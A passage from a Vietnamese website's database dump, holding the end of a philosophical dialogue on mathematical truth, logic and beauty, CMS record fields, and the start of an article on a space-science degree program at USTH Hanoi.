“không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ 